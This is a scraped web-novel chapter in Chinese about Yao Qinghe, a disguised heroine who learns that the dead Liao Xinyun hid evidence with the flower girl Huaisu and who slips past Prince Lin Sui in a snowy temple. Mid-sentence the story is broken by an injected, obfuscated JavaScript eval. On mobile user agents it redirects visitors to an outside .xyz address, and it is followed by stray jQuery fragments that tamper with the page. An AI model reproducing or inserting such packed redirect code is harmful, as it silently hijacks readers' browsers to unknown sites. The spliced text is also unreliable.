殿中香烛幽幽,焚香四溢,龛角长明灯亮起,光影游移间,尘埃浮动,拂过佛像慈悲眉目,彼时那佛像正低垂眼睑,静静地看向他们。
青禾将怀素陡然一变的神情收入眼底,明白道,她猜对了。
廖信云所藏的东西不在他身上,他们都被他骗了。
从一开始,他就是孤身入京,他信不过别人,将东西早早就托付给了朔安城百花坊的花女怀素。
此女与他关系匪浅,是他唯一信得过之人,而这段关系隐秘,连乌镇同僚都不知,廖信云并不担心曹党和朝廷会这么快查到此处。
他之所以冒险入京,是想向宁武帝出卖曹禄海以换取自己性命不错,除此之外还有重要的一点,那就是东西本就在京城!
廖信云不愧是曹禄海义子,竟将这么重要的东西就放在了最危险的地方、曹党的眼皮子底下,将曹党耍的团团转,不惜一路追杀,却什么都没在他身上找到。
想来那日青山寺,翎影军在廖信云那也是一无所获。
人已死,知道怀素的便只有青禾。
青禾抬眸,目光在眼前女子身上停留,并没有放过她任何一个细微的表情。
“你不妨现在就将东西交给我,眼下圣上就住在后山,趁着月黑风高,我们马上面圣!”青禾继续试探。
有之前的话,怀素果真信了她,以为廖信云真身陷囹圄,叫姚青禾来拿东西。
她面色煞白,难掩焦急:“可是……那东西现在不在我身上。”
那东西是保命的关键,怀素当然不可能携带在身,她与廖信云约定的时间是在半月前,又怎知他会突然杳无音信,直到现下才派人前来。
她拉住青禾的手:“姑娘,求求你告诉我,廖郎他现在还好吗?是否会危及性命?”
姚青禾没想到,廖信云狼狈为奸一生,与曹党做了多少伤天害理的事,临廖,居然还有一真心人挂怀。
但她不可能告诉怀素真相,若她知晓廖信云已死,多半就不会再信她,说不定还要鱼死网破。
她只好先安抚她:“莫急,一切出了青山寺后再议,元日宴结束后我会来接你,除了我,其他人你均不可信。”
怀素感激地点头,正欲再说什么时,外头突然传来一阵响动。
姚青禾连忙抬手示意她噤声,转身贴到门边,眯着眼往外瞧。
有几人提灯走来。
青禾眉心一蹙,四下张望,这殿中空旷,除了一尊佛像外便是烛台,并无地方躲藏。
忽然想到什么,她抬头看向檐顶。
“嘎吱——”
殿门被人推开,寒风撞入,席卷着漫天飘雪,惊得殿中烛火倒伏,扯动佛前的虔诚身影。
雪粒被山风裹挟涌来,顺着灯火映照的方向扑洒,在火光中泛着点点莹芒。
风扬起的白雪从青年肩上滚落,他静静立于门边,看着那道披着毛氅的单薄身影,慢慢的,锦靴踩过青石,一步步朝她走去。
“求佛祖保佑,叫我阿爹阿娘泉下有知,能得心安。”
女子莹白的鼻尖微红,眉心轻蹙,正端正地跪在蒲团上,双手合十,阖眸低念些什么。
身侧突然传来一声促狭的轻笑,青禾懵懂抬头,撞入一双漆黑幽暗的眼,她略带不安地望向来人,眼中似有泪光浮现。
“白三姑娘。”静谧的佛堂中,他垂眸看她,声音戏谑,那双眸子仿佛要将她探究出个洞来。
“你是……”
她揪了揪袖口毛边,卷翘长睫颤动着。
“我以为半月前青山寺一别,白三姑娘会对我有印象。”
青年不再看她,眼神从面前佛像上扫过,嘴角噙着一抹意味不明的笑。
他对在外恶名倒挺有自知之明。
青禾微怔,似乎在认真回想,末了,她慌忙起身,想要给蔺绥行礼,奈何身子骨弱,又跪得久了,眼前发黑,险些一头栽下。
自始至终,蔺绥只是淡漠地睨着她,莫说搭把手,还往后退了一步。
青禾:“……”
她苍白脸色扯起牵强一笑,“原来是永昭王殿下,小女子有眼不识泰山,冲撞了殿下,还望殿下大人不记小人过。”
蔺绥并未接她话茬,殿中香烛火光落入他眼,在那锐利黑眸中竟泛不起一点波澜。
他幽幽道:“没想到,白三姑娘还信神佛啊。”
他侧眸,笑着看向她沾着雪水的衣裳下摆,“夜深雪大,不惜拖着个病弱的身子骨从后山来到中庭,也要拜一拜这尊佛祖。”
青禾故作听不懂他话中讥讽,悲伤欲泣道:“民女幼时丧母,长时丧父,弱病缠身,已见过人间太多悲欢离合,人力所不及之事,唯能寄托神佛,以安心魂。”
她这番话说的动人心弦,催人泪下,若是换旁人在侧估计早就泪眼婆娑了。
可惜,在她身旁的是蔺绥。
一个就连杀人都不眨眼的魔头,又怎会心生怜悯?
青年依旧面色如常,那双多情含笑的眼眸微眯,似想看看她还能编出个什么花样,摆明就是已疑心上她。
青禾低头抹泪,心头却沉。
她与这位永昭王殿下并无交集,至多不过那日寺中匆匆一见,他为何会盯上自己,还特地在此守株待兔?
姚青禾才不信,蔺绥是闲逛前来。
只有一种可能,他派人盯着松月轩,恰巧碰见她出门。
青禾垂下的眼眸中寒光乍现,等她再一抬眸时,却只剩下娇怜清泪。
“殿下不信神佛?”
蔺绥冷嗤:“我走的是阴司地府路,专断人命买卖,神佛怕是佑不了我。”
“倒是白三姑娘。”
他话锋一转,看向青禾:“听闻白三姑娘是右侍郎旁侄,从小身娇体弱,近日才来京?”
青禾只觉得这人怪阴险狡诈,分明早就将她打探清楚,怕是连生辰八字都摸透,临到跟前,还要假模假样地说上“听闻”二字。
青禾表面不显,心里却止不住冷哼。
“正是。”她点头:“幸得伯父伯母垂怜,才有清荷今日,否则,怕是早就随父母亲去了。”
说完,她捂嘴轻咳两声,难掩虚弱。
她听见青年一声浅笑。
笑声凉薄,带着玩味。
他到底要做什么?
青禾眉梢一沉,就在殿内气氛僵持不下时,门外传来响动,有人朝蔺绥拱手:“殿下,有一丫鬟在殿外,说是来接她家姑娘。”
蔺绥挑眉,似笑非笑地看向姚青禾。
青禾故作诧异,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404355|184411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝蔺绥欠身:“许是我家丫鬟见我拜佛久久不出着急了,民女先告辞。”
蔺绥看着她离开的背影,那女子步伐虚浮,看上去果真久病缠身的模样,临跨出殿门,她倏然回首,朝蔺绥再次行礼,面带踟蹰:“劳请殿下为我保守今天的秘密,民女不想叫伯父伯母担心。”
“呵。”蔺绥笑了,眼眸微沉。
这白三姑娘,倒是不简单。
何皎皎目送着两个女子走入风雪中相携而去,咂舌进殿:“殿下,你不是怀疑她吗?为何又放她走了?”
蔺绥拔出香炉中的香,那是新插上的三根,香灰还没燃多少,被他陡然一拔,簌簌往下扑落,掉到青年骨节分明的手上,他面色未变,反而云淡风轻地翻过手,长香顿时在他指间断成两截,掉落在地。
他毫不在意地掸了掸手中的灰,“有时线放长,才能钓到更大的鱼。”
“让你办的事可有办好?”
说到这个,何皎皎有些气馁,“这附近我都带人搜遍了,除了白姑娘方才出去过,再也没看到别人。难不成是我们猜错了?她今晚出来或许真的只是想祈愿。”
蔺绥倒不见得。
他抬脚碾过掉落的断香,往外走去。
夜深了,雪下得又大了些,将眼前山林染成白茫茫的一片,古朴山寺皆隐匿其中,就连来时路都看不算真切。
而白清荷远去的脚步也早就消失在雪阶里。
“姑娘,你为何让我在这里等你呀?”蒲秋站在林阶拐角前,见青禾远远走来,连忙上去搀扶。
“太黑了,我害怕。”
见怀素的身影逐渐消失在密林里,青禾收回眼,将手搭给蒲秋。
方才她在蔺绥的眼皮子底下使了一出“偷梁换柱”,其实在外等她的人根本不是蒲秋,而是怀素。
“姑娘,怎么办,会不会是曹党来抓人了?”半盏茶的功夫前,怀素听见外头有动静,心下一慌,连忙抓住青禾的袖子。
“莫急。”
青禾急中生智,将她头上素绦拆掉,并用轻功托她上屋顶,告诉她:“你先趴在屋顶上,这座佛殿背后有一处矮墙,听到我说话你再跳下去,绕到门前,称是我的丫鬟,在外面接我。”
怀素的身形与蒲秋差不多,身上的衣裳也没有显眼的花样,如今夜深雪厚,蔺绥他们都没见过蒲秋与怀素,只要怀素站在外面,借着光影昏暗,定瞧不出。
“姑娘,你下回若是想出来上香定要叫上我,这月黑风高,寒霜雪露的,若是出了什么差池那可怎么办才好。”
青禾弯唇,好在今夜出门前给蒲秋留了张字条,让她戌时来这里等着自己,否则这“偷梁换柱”也不算完美。
前头便是松月轩了,青禾看着屋檐一闪而过的人影,她拉住蒲秋,低头凑近她,轻声道:“今夜是你我的秘密,只有我俩知道的秘密。”
月光皎洁,落在莹白雪色上,也落在眼前女子身上。
她一身碧色裙袄,外披白氅,面容仍是那张面容,可蒲秋却看晃了眼,痴痴呆住。
她总觉得,那一瞬间的姑娘,和白日的她有些不一样。
不再低眉顺眼,目露惊慌胆怯,她笑着,眼中山水冲破朦胧月华而出,那眉目间的热烈,远比今日看到的百花更要鲜艳。